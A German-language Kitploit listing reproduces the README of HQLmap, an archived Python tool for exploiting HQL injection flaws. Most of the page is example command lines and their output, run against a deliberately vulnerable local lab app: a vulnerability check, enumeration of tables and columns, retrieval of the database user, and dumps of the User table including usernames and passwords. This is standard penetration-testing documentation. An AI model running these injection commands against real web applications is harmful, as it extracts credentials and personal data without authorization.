Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
HQLmap — (Veraltet) HQLmap, automatisches Tool zur Ausnutzung von HQL-Injection-Schwachstellen | Kitploit
Tools/GitHubGitHub/paulsec/hqlmap
SchwachstellenscannerWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsDatenbanksicherheitArchived
GitHubpaulsec/hqlmap

HQLmap

(Veraltet) HQLmap, automatisches Tool zur Ausnutzung von HQL-Injection-Schwachstellen

Repository anzeigen
22843vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

HQLMap

Dieses Projekt wurde entwickelt, um HQL-Injection-Schwachstellen auszunutzen. Das Tool wurde in Python geschrieben und unter der MIT-Lizenz veröffentlicht. Zukünftige Entwicklung: Ich habe vor, ein spezifisches Modul für SQLmap zu entwickeln.

Wo kannst du das Tool ausprobieren?

Wenn du eine schnelle, verwundbare Umgebung möchtest, in der du das Tool ausprobieren kannst, empfehle ich RopeyTasks: https://github.com/continuumsecurity/RopeyTasks/

Wenn du außerdem weitere Informationen zu HQLi möchtest, schau dir diesen Blogbeitrag an: http://blog.h3xstream.com/2014/02/hql-for-pentesters.html

Installation

Um dieses Projekt zu installieren, musst du es nur klonen, indem du Folgendes eingibst:

root@kitploit:~
git clone [email protected]:PaulSec/HQLmap.git

Verwendung

Um dieses Projekt zu verwenden, wechsle in das Verzeichnis:

root@kitploit:~
cd HQLmap

Und starte das Projekt:

root@kitploit:~
python HQLmap.py

Danach wird die Verwendung angezeigt:

root@kitploit:~
Usage: HQLmap.py [options]

Options:
  -h, --help            show this help message and exit
  --url=URL             qURL to pentest
  --cookie=COOKIE       Cookie to test it
  --param=PARAM         Param to test
  --postdata=POSTDATA   Postdata (POST Method)  
  --message=BLIND_HQLI_MESSAGE
                        Message appearing while Blind HQLi
  --tables              Tries to gather as much tables as possible (With
                        Bruteforce)
  --T=TABLE             Name of the table you want to get
  --table_name_file=FILE_TABLE
                        DB file for name of tables
  --columns             Tries to gather as much columns as possible (With
                        Bruteforce)
  --C=COLUMN            Name of the column you want to get
  --column_name_file=FILE_COLUMN
                        DB file for name of columns
  --check               Check if host is vulnerable
  --user                Tries to get user() from dbms
  --count               Get count of specified table(s)
  --dump                Dump specified table(s) / column(s)
  --results             Enumerate results after session
  --verbose             Verbose mode

Verwendung

Dieser Abschnitt enthält verschiedene Szenarien.

Prüfen, ob der Host verwundbar ist

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check

Die Ausgabe ist wirklich einfach:

root@kitploit:~
Host seems vulnerable.

Prüfen mit POSTDATA

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"

Aufzählen von Tabellen

root@kitploit:~
$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables

Hier ist die Ausgabe:

root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.

Bei einer solchen Aufzählung verwendet der Scanner, sofern nicht anders angegeben, die Standarddatei für die Tabellennamen. Die Standarddatei ist: db/tables.db

Aufzählen von Spalten

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns
root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

Bei einer solchen Aufzählung verwendet der Scanner Standarddateien sowohl für die Tabellennamen als auch für die Spaltennamen. Die Standarddateien sind:

Für Tabellen: db/tables.db Für Spalten: db/columns.db

Prüfen, ob eine bestimmte Tabelle existiert

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo

Und die Ausgabe:

root@kitploit:~
[-] Table foo does not exist.

Aufzählen der Spalten einer bestimmten Tabelle

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns

Und die Ausgabe:

root@kitploit:~
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

Prüfen, ob eine bestimmte Spalte in einer bestimmten Tabelle existiert

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar

Und die Ausgabe:

root@kitploit:~
[!] Table User has been found.
[-] Column bar in User does not exist.

Fingerprinting-Optionen

Ermitteln der Anzahl einer Tabelle

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count

Oder für alle Tabellen:

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count

Und die Ausgabe:

root@kitploit:~
[!] Table User has been found.
[!] Count(*) of User : 3

Ermitteln des Datenbankbenutzers

Um diese Aktion durchzuführen, musst du eine Tabelle angeben (oder alle mit dem --tables-Flag) und das --user-Flag wie folgt hinzufügen:

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user

Und die Ausgabe (nach ein paar Sekunden):

root@kitploit:~
[!] Table User has been found.
[!] Username of Database found : SA

Um den Benutzer zu ermitteln, habe ich einen Algorithmus implementiert, der einer „variablen“ Dichotomie sehr ähnlich ist.

Auslesen der Datenbank

Alle Tabellen der Datenbank

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump

Und die Ausgabe:

root@kitploit:~
(redacted)
[Task]
  [Name]
     - Bob's shopping
     - Alice's shopping
[Task]
  [User_Id]
     - 1
     - 2
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
(redacted)

Bestimmte Tabelle der Datenbank

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump

Und die Ausgabe:

root@kitploit:~
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
[User]
  [Password]
     - password
     - password
     - password
[User]
  [Email]
     - [email protected]
     - [email protected]
     - [email protected]
[User]
  [Firstname]
     - Robert
     - Alice
     - Administrator
[User]
  [Lastname]
     - McBride
     - O'Reilly
     - Reynolds

Bestimmte Spalte der Datenbank

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --C=username --dump

Und die Ausgabe:

root@kitploit:~
[!] Table User has been found.
[!] Column Username has been found in table User
[User]
  [username]
     - bob
     - alice
     - admin

Fazit (& Lizenz)

Gerne kannst du Feedback geben und neue Funktionen anfragen.

Das Projekt wird unter der MIT-Lizenz veröffentlicht.

Tool herunterladen